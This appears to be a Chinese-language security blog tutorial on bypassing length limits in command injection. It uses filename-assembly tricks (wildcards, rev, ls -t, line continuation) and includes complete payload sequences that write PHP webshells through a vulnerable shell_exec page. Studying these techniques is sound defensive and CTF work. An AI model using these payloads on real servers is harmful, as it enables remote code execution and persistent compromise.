命令注入长度限制绕过

命令注入长度限制绕过

0x1 命令组装

1.1 字符默认顺序组装

  • e 的顺序正好在 h 之前

分别输入>echo >hello,可以看到分别创建了两个文件 echohello ,然后执行 * ,结果输出了 hello

┌──(kali㉿kali)-[~/cmd]
└─$ >echo
┌──(kali㉿kali)-[~/cmd]
└─$ >hello
┌──(kali㉿kali)-[~/cmd]
└─$ ll
total 4
-rw-r--r-- 1 kali kali 0 Nov  5 22:01 echo
-rw-r--r-- 1 kali kali 1 Nov  5 22:01 hello
┌──(kali㉿kali)-[~/cmd]
└─$ *
hello
  • * 此时等于 echo hello,我们可以通过 echo来查看 * 到底是啥
┌──(kali㉿kali)-[~/cmd]
└─$ echo *              
echo hello
  • 这样,我们通过 >echo >hello 完成命令组装,然后 * 组成并执行了命令 echo hello.

1.2 反转命令

同样把命令长度限制到 4 , 如何执行命令 ls -l

模仿上面做法,输入>ls>-l 产生了两个文件 ls -l

┌──(kali㉿kali)-[~/cmd]
└─$ >-l
┌──(kali㉿kali)-[~/cmd]
└─$ >ls
┌──(kali㉿kali)-[~/cmd]
└─$ *
-l: command not found
┌──(kali㉿kali)-[~/cmd]
└─$ ll
total 0
-rw-r--r-- 1 kali kali 0 Nov  5 22:21 -l
-rw-r--r-- 1 kali kali 0 Nov  5 22:22 ls
  • -lls 前面,如果我们执行 * 其实是执行 -l ls ,会出现错误
  • 这个命令字符序列反过来看 l- sl 顺序正好满足要求,只需要用一个可以把字符反过来的命令,就可以完成这个功能

先生成 l-sl 两个命令

┌──(kali㉿kali)-[~/cmd]
└─$ >l-
┌──(kali㉿kali)-[~/cmd]
└─$ >sl
┌──(kali㉿kali)-[~/cmd]
└─$ ls
l-  sl

l- sl 组合写入文件 v (为什么文件名要用 v ,下面会解释,是个 trick ),最后用一个命令将文件中的字节反转

┌──(kali㉿kali)-[~/cmd]
└─$ ls>v
┌──(kali㉿kali)-[~/cmd]
└─$ cat v
l-
sl
v

可以看到文件 v 中多了一个 v,对我们命令造成干扰,我们只想文件中存在 l-sl

解决思路:dir a b>c 只会将 a b 写到文件 c 中,我们创建一个名为 dir 的文件,然后执行*>v ,可以获得 l-ls

┌──(kali㉿kali)-[~/cmd]
└─$ >dir
┌──(kali㉿kali)-[~/cmd]
└─$ *>v
┌──(kali㉿kali)-[~/cmd]
└─$ cat v
l-  sl

1.3 反序

linux 有一个 rev 命令,正好可以将内容反序,我们产生一个名为 rev 的文件,然后执行 *v,此时命令相当于 rev v(这里就是上面为啥文件命名为 v ,为了被通配符匹配),这样就产生了我们要的输出 ls -l

┌──(kali㉿kali)-[~/cmd]
└─$ >rev
┌──(kali㉿kali)-[~/cmd]
└─$ ls
dir  l-  rev  sl  v
┌──(kali㉿kali)-[~/cmd]
└─$ *v  
ls  -l

输出到文件 x ,然后就可以执行 sh x ,成功以 4 个字符执行长度为 5ls -l 命令

┌──(kali㉿kali)-[~/cmd]
└─$ *v>x
┌──(kali㉿kali)-[~/cmd]
└─$ cat x
ls  -l
┌──(kali㉿kali)-[~/cmd]
└─$ sh x   
total 8
-rw-r--r-- 1 kali kali 0 Nov  5 22:55 dir
-rw-r--r-- 1 kali kali 0 Nov  5 22:39 l-
-rw-r--r-- 1 kali kali 0 Nov  5 22:56 rev
-rw-r--r-- 1 kali kali 0 Nov  5 22:40 sl
-rw-r--r-- 1 kali kali 7 Nov  5 22:55 v
-rw-r--r-- 1 kali kali 7 Nov  5 22:58 x

整个命令链(长度<=4)

1.4 自由控制顺序组装

假设我们要生成 ls -t >g ,其实 ls -t 也就是根据 mtime 排序,新的在前面,比如我们要生成 ls -l ,可以通过 ls -t 打破默认顺序

1.5 命令续行

linux 的命令续行,比如 l\ s分成两行,等于 ls

\>py\\ 这里看着是 5 个字符,超过了 4 个的限制,实际上是因为 shell 环境需要输入\\ 产生 \,但是 php 代码 exec时,只需要输入 \ 即可产生 \ ,比如 exec(">py\") 即可。

这上面的所以 payload 均在 linux 终端 shell 里面进行操作,因此需要 \ 的地方都进行了再加 \ 转义,也就变成了 \\ ,如果在命令注入函数里面输入时,\ 不需要用 \ 转义。

0x2 15位可控字符下的任意命令执行

如需执行 echo \<?php eval($_GET[1]);?\>>1

echo \<?php >1
echo eval\(>>1
echo \$_GET>>1
echo \[1\]>>1
echo \)\;?>>1

0x3 7位可控字符下的任意命令执行

  • 1>a 或者 w>b 分别可以创建 ab 两个空文件夹。
  • ls>c 会将目录下面的文件名写入到 c 文件中;
  • ls -t>0 会将文件名按照创建的时间倒叙写入 0 文件中。并且自动换行。
  • \ 作为转义符,转义之后的 \ 是用来换行分隔,也就是换行也是连接的。
ca\
t
这就代表cat

例如代码如下:

<?php
if(strlen($_GET[1])<8){
     echo shell_exec($_GET[1]);
}
?>

假设要写出一句话 php payload : <?php echo shell_exec($_GET[2]);

echo PD9waHAgZWNobyBzaGVsbF9leGVjKCRfR0VUWzJdKTs= | base64 -d >1.php

w>hp
w>1.p\\
w>d\>\\
w>\ -\\
w>e64\\
w>bas\\
w>=\|\\
w>KTs\\
w>zJd\\
w>VUW\\
w>fR0\\
w>KCR\\
w>GVj\\
w>9le\\
w>sbF\\
w>aGV\\
w>yBz\\
w>Nob\\
w>gZW\\
w>aHA\\
w>D9w\\
w>P\\
w>o\ \\
w>ech\\
ls -t>0
sh 0

倒叙新建文件名,然后通过 ls -t>0 ,将刚才的顺序再倒序然后写入到 0 文件中,然后用 sh0 当作脚本执行。

0x4 5位可控字符下的任意命令执行

ls -t>0 超过了 5

>ls\\
ls>a
>\ \\
>-t\\
>\>0

ls>>a

这就将 ls -t>0 写在了 a 脚本中,如果要用的话直接 sh a ,之后写入自己的命令按照 7 位的逻辑写就行了。

0x5 4位可控字符下的任意命令执行

ls -th>f 超过了 4

>f\>
>ht-
>sl
>dir
*>v
>rev
*v>0

cat 0

这就将 ls -th>f 写入到了脚本 0 当中,后面就可以直接按照7位的那样写入我们要执行的命令,最后使用 sh 0 执行 ls -th>f ,然后将命令写入了 f 脚本中,执行 sh f 即可。

posted @ 2024-11-06 14:41  f_carey  阅读(6)  评论(0编辑  收藏  举报